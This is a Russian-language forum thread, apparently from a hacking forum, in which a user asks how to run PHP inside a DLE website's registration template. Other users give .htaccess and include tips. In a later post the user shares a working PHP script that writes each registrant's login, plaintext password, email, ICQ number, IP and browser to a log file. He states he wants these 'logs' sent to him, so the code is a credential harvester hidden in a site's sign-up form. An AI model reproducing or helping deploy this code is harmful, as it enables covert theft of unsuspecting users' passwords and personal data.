php код в .tpl

Discussion in 'PHP' started by -=Dem0n=-, 10 Jan 2008.

  1. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Как сделать чтобы в файле с расширением .tpl, они собсно в шаблоне DLE, выполнялся php код.
    Нашел только как можно выполнить в main.tpl но меня интересует другой файл.
     
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    в дире с .tpl создаёшь .htaccess с таким содержанием
    addtype application/x-httpd-php .tpl
     
  3. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Спс. Попробую.
     
  4. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Добавил только теперь страница не открывается. Просто белоый лист.
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Какая страница?
     
  6. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Страница регистрации после добавления кода стала белая)
     
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    что бы в tpl исполнялся php код:
    1) Сделать что бы веб сервер опеределял данное раширенние и кормил его php интерпритатору (например средствами htaccess).
    2) Записать код и "Проинклудить" его такими функциями как include(), require().
     
  8. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Если это шаблоны smarty, то там можно использовать php код между тегами {php}{/php}
     
  9. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Это ведь тоже пхп а в теплешнике он не читается.

    include и require
     
  10. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Прикалываешься?
    Я создал текстовый документ написал туда:
    переименовал его в 123.tpl
    Потом в файле main.php
    Начирикал:
    Когда запусти, то у мя высветилось:
    Вывод: =\
     
  11. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Мне нужно запустить тпл а не пхп. Запустил тпл у меня сработала echo а include нет.
    Если например добавить
    PHP:
    <?php
    echo "THIS IS MAIN<br>";
    require_once(
    "123.tpl");
    ?>
    То после THIS IS MAIN на странице пусто.
     
    #11 -=Dem0n=-, 10 Jan 2008
    Last edited: 10 Jan 2008
  12. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Какое у тя содержание tpl... ???
     
    #12 bul.666, 10 Jan 2008
    Last edited: 10 Jan 2008
    2 people like this.
  13. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    всё ты правильно ранее описал чувак просто неврубает
     
  14. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Дык работает или нет?!
    Это ваще файл турбопаскаля или php шаблон???
     
  15. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Code:
    <div align="center">
    <table width="100%" 
          cellSpacing=0 cellPadding=0 width="100%">
        <tr>
            <td height="24" background="{THEME}/images/news_header.gif">&nbsp;&nbsp;<b>[registration]Регистрация нового пользователя[/registration][validation]Обновление профиля пользователя[/validation]</b></td>
    		<td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация&nbsp;&nbsp;</td>
        </tr>
    	<tr>
    	   <td style="padding-left: 3px; padding-right: 3px"></td>
    	   <td align="right" style="padding-left: 3px; padding-right: 3px"></td>
    	</table>
    	<table width="99%" cellSpacing=0 cellPadding=0 width="100%">
    	<tr>
    	    <td width="100%" style="padding-left: 3px; padding-right: 3px">
    [registration]Добрый день уважаемый посетитель нашего сайта. Регистрация на нашем сайте позволит Вам быть полноценным участником нашего сайта, Вы сможете добавлять новости на сайт, оставлять комментарии, просматривать скрытый текст и многое другое. В случае возникновения проблем с регистрацией на сайте напишите администратору проекта.<br> <font color="red">Реклама на сайте строго запещина в любой форме. За нарушение правил дается одно предупреждение, потом бан.<br>
    Подробные правила регистрации, приведины в нижней части страници регистрации.
    </font>[/registration]
    [validation]Уважаемый посетитель Ваш аккаунт был зарегистрирован на нашем сайте, однако информация о вас является неполной, поэтому заполните дополнительные поля в вашем профиле.[/validation]<br><br>
    <center>
              [registration]
    	Логин<br>
                       <input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"> <br>
    <input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
                    Пароль<br>
                      <input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                    Повторите пароль<br>
                      <input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                    Ваш E-Mail<br>
                      <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br> 
    [sec_code]
    <b>Подтверждение кода безопасности</b><br><br>
    Код безопасности<br>
    {reg_code}
    Введите код<br>
    <input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
    [/sec_code]
    [/registration]
    [validation]
                      Ваше имя<br> 
                      <input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Место жительства<br>
                      <input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Номер ICQ<br>
                      <input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Фото:<br>
    				  <input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      О себе<br>
                      <textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
    [/validation]
    <input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить"  type="submit" value="Отправить" class="btn">
    </center>
    		
    		</td>
    	</tr>
    	
    	<tr>
    	   <td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
    	</tr>
    </table>
    </div>
     
  16. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    Шаблон.
     
  17. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Омг...
    http://www.codenet.ru/webmast/php/Templates-About.php
     
  18. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    вот код php:
    PHP:
    <?
    $filename "logins.php";
    if (!
    is_file($filename) || !is_writable($filename)) {
        echo 
    "<center>Файл '$filename' не найден !</center>";
        exit();
    }
    function 
    reglog() {
    global 
    $filename$name$password1$password2$email$icq$HTTP_X_REAL_IP$HTTP_USER_AGENT;
        
        
    $d date("d.m.Y - H:i:s");
        
    $str "
        Логин:    [
    $name
        Пароль:    [
    $password1
        Е-майл:    [
    $email
        HoMep:    [
    $icq]
        Кто:    [user]
        Статус:    [*off*]
    IP:        
    $HTTP_X_REAL_IP
    Browser        
    $HTTP_USER_AGENT
    ======================
    "
    ;
        
    $f fopen($filename"a");
        
    fwrite($f"$str\n");
        
    fclose($f);
        
    err(5);
    }

    if (
    $namereglog();
    show();
    function 
    show() {
    ?>
      <form action="" method="post" name="f">
        
          Логин<br>
          <td width="75%"><input type="text" maxlength="15" name="name" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
        
          Пароль<br>
          <input  type="password" maxlength="15" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
        
          Пароль еще раз<br>
          <input  type="password" maxlength="15" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
        
        
          E-mail<br>
          <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
        

          Номер ICQ<br>
          <input type="text" maxlength="15" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 ">


          <br>


              <input type="submit" value="Отправить">
      </form>
    <? ?>
    ЕГО а не В него нужно вставить вот этот .tpl
    Code:
    <div align="center">
    <table width="100%" 
          cellSpacing=0 cellPadding=0 width="100%">
        <tr>
            <td height="24" background="{THEME}/images/news_header.gif">&nbsp;&nbsp;<b>[registration]Регистрация нового пользователя[/registration][validation]Обновление профиля пользователя[/validation]</b></td>
    		<td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация&nbsp;&nbsp;</td>
        </tr>
    	<tr>
    	   <td style="padding-left: 3px; padding-right: 3px"></td>
    	   <td align="right" style="padding-left: 3px; padding-right: 3px"></td>
    	</table>
    	<table width="99%" cellSpacing=0 cellPadding=0 width="100%">
    	<tr>
    	    <td width="100%" style="padding-left: 3px; padding-right: 3px">
    [registration]Добрый день уваbla blah ан.<br>
    blabla
    </font>[/registration]
    [validation]Уважаемый посbla профиле.[/validation]<br><br>
    <center>
              [registration]
    	Логин<br>
                       <input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
    	<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
                    Пароль<br>
                      <input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                    Повторите пароль<br>
                      <input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                    Ваш E-Mail<br>
                      <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br> 
    [sec_code]
    <b>Подтверждение кода безопасности</b><br><br>
    Код безопасности<br>
    {reg_code}
    Введите код<br>
    <input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
    [/sec_code]
    [/registration]
    [validation]
                      Ваше имя<br> 
                      <input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Место жительства<br>
                      <input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Номер ICQ<br>
                      <input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      Фото:<br>
    				  <input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                      О себе<br>
                      <textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
    [/validation]
    <input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить"  type="submit" value="Отправить" class="btn">
    </center>
    		
    		</td>
    	</tr>
    	
    	<tr>
    	   <td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
    	</tr>
    </table>
    </div>
    и инклудовал и как только не пробывал не получается у меня! Нужно еще и чтобы скрипт работал! помогите пжлст.
     
    #18 -=Dem0n=-, 11 Jan 2008
    Last edited: 11 Jan 2008
  19. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    4
    Reputations:
    0
    А очень-бы хотелось) чтобы мне логи приходили)
     
  20. FeraS

    FeraS Elder - Старейшина

    Joined:
    19 Jan 2007
    Messages:
    555
    Likes Received:
    420
    Reputations:
    76
    Сори я налечил(

    http://dle-news.ru/2006/06/15/ispolzovanie_ljubykh_php_vstavok_v_shablonakh.html посмотри-ка